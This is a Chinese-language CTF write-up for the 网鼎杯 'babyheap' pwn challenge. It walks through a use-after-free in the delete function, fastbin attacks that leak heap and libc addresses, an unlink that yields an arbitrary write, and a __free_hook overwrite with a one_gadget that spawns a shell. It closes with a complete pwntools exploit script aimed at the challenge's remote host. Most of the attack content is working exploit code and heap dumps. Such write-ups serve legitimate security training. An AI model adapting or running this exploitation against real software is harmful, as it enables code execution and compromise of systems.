网鼎杯 babyheap writeup

前言

我看社区已经有人在发Writeup了,但是也不是特别全。其中 Pwn 部分少了个babyheap的题解。我在这里稍微补充下。

link: https://xz.aliyun.com/t/2609

###

0x01 分析

题目四个功能,分别是new,change,show和delete。漏洞很明显在于delete函数。

在这个函数中,存在指针未置零的情况,可以造成UAF 。

其次有几个注意的点 块只能新建9块,以及新建块的大小为 0x20 ,不可控。

编辑一个块最多只能三次。

###

0x02 利用思路

1
2
3
4
5
6
7
root@8593c2d5ac83:/home/wd/babyheap/babyheap# checksec babyheap
[*] '/home/wd/babyheap/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

由于块的大小是 0x20 ,可以想到是经典的fastbins attack + uaf。

第一步:思考 如何泄露出 libc 地址

由于我们需要最终需要知道 libc base 来构造最后的getshell payload。那么第一个思路是通过fake 一个chunk,让它分配到 unsortedbin 中,我们知道当一个chunk 在 unsortedbin中的时候,它的fd会指向 main_arena

由于 UAF 漏洞的存在,我们这个时候去 show 这个chunk 的时候程序会将他 fd的内容打印出来。这个时候就能泄露出 libc地址。

但是要fake 一个chunk我们需要heap的地址。所以我们首先去 泄露 heap 地址。

第二步 泄露 heap 地址。

由于fastbins 的特性,我们连续 free 两个chunk,这个时候会产生一个 fastbins 的freelist。

这个时候 0x603000 的chunk 的fd 指向 0x603030 ,我们只需要 show 一下 0x603000这个chunk,就能得到heap地址:0x603030。注意,puts 存在截断,如果你是 0x603030 –> 0x603000 会存在 leak 不出来的问题。所以注意 free 的顺序。

1
2
3
4
5
6
Delete(1)
Delete(0)
#leak heap addr
Show(0)
heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x30
log.success('heap_addr:{}'.format(hex(heap_addr)))

第三步 泄露libc 地址

要 fake 个chunk 然后让它 free 之后被放到 unsortedbin ,我们可以考虑 fastbins attack + overlap 。

我们通过编辑 chunk 0 的 fd 让他指向 原本 fd-0x20的位置。当我们把 chunk 0 和 chunk 1 重新申请回来后。(fastbins的特性:后释放的,先被使用)

1
2
3
4
Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))

Add(6, p64(0) + p64(0xa1) + '\n')
Add(7, p64(0) + p64(0xa1) + '\n')

并修改 size 和fd等等。由于,chunk 6的fd被修改了,所以我们去修改 chunk 7的时候,其实就是在修改我们正常chunk的size。

1
2
3
4
5
6
7
8
9
10
0x603020:       0x0000000000000000      0x0000000000000031       <-- fake chunk
0x603030: 0x0000000000000000 0x00000000000000a1 <--- fake chunk size
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000031
0x603070: 0x4343434343434343 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000031
0x6030a0: 0x4444444444444444 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000

伪造后的 chunk 由于我们设置了 size 变大了,所以默认会把后面的 chunk 给吞并。我们 在设置基本块的时候要注意这个问题。

这个时候系统会认为 0x603020 这个伪造的 chunk 是存在的。所以当我们去 delete chunk 1。(由于chunk 1是后释放,所以申请到的chunk 7 指向的其实是同一个块)。系统会把 0x603020 放到unsortedbin中。(unsortedbin 不是fastbins 且不与 top chunk 紧邻,free后会被放置到unsortedbin中)

紧接着,我们只需要把这个 chunk free 了。

然后show,就能获得 libc base。

1
2
3
4
5
6
7
8
9
10
11
Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))

Add(6, p64(0) + p64(0xa1) + '\n')
Add(7, p64(0) + p64(0xa1) + '\n')


# leak libc
Delete(1)
Show(1)
libc_address = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78
log.success('libc_addr:{}'.format(hex(libc_address)))

我们现在已经有了基本的信息。思路是修改 freehook 成one_gadget 。然后进行一次free就能getshell。

要达到这种效果,我们需要一个任意地址写。

我们之前 free chunk 1 来获得一个libc 地址,这个时候如果顺便同过 unlink 来获得一个 任意地址写不上刚好么。所以

1
2
3
4
5
6
7
8
Add(0,'AAAAAAAA\n')
Add(1,'BBBBBBBB\n')
Add(2,'CCCCCCCC\n')
Add(3,'DDDDDDDD\n')


Add(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
Add(5, p64(0x30) + p64(0x30) + '\n')

chunk 2 chunk 3 是用来修改 chunk1 size 让 chunk 1 来吞并的。当 free chunk 1的时候,我们构造好 unlink 的前提(现代 unlink 有检查。)fake 的 fd == 0x602080-0x18 刚好是 ptr[] 数组中,chunk 1 的位置。也是之后 new chunk 4 的位置。

当通过unlink 后我们得到一个 chunk 指向了 chunk1 同时 chunk 4 也指向了 chunk1。 这个时候如果我们队chunk 1这块内存 写入 free_hook 的地址,然后再通过uaf 修改这个地址所指的值,写成一个 one_gadget 就能getshell。

1
2
3
4
5
Edit(4,p64(libc_address + 0x3c67a8) + '\n')
Edit(1, p64(libc_address + one_gadget)[:-1] + '\n')


Delete(1)

效果如下:

0x03 完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#coding:utf-8


from mypwn import *


p,elf,libc = init_pwn('./babyheap','./libc.so.6',remote_detail = ('106.75.67.115',9999),is_env = False)
breakpoint = [0x400D59,0x400D65,0x0400D7D,0x400D71]
malloc_hook = 0x3C4B10
one_gadget = 0x4526A

def Add(index, data):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.send(data)

def Edit(index, data):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.send(data)

def Show(index):
p.recvuntil('Choice:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))

def Delete(index):
p.recvuntil('Choice:')
p.sendline('4')
p.recvuntil('Index:')
p.sendline(str(index))



Add(0,'AAAAAAAA\n')
Add(1,'BBBBBBBB\n')
Add(2,'CCCCCCCC\n')
Add(3,'DDDDDDDD\n')


Add(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
Add(5, p64(0x30) + p64(0x30) + '\n')



Delete(1)
Delete(0)

#leak heap addr
Show(0)
heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x30
log.success('heap_addr:{}'.format(hex(heap_addr)))

# # leak libc
# init_debug(p,breakpoint)
# raw_input('wait to debug')
Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))

Add(6, p64(0) + p64(0xa1) + '\n')
Add(7, p64(0) + p64(0xa1) + '\n')


# leak libc
Delete(1)
Show(1)
libc_address = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78
log.success('libc_addr:{}'.format(hex(libc_address)))




init_debug(p,breakpoint)
raw_input('wait to debug')
Edit(4,p64(libc_address + 0x3c67a8) + '\n')
Edit(1, p64(libc_address + one_gadget)[:-1] + '\n')


Delete(1)

p.interactive()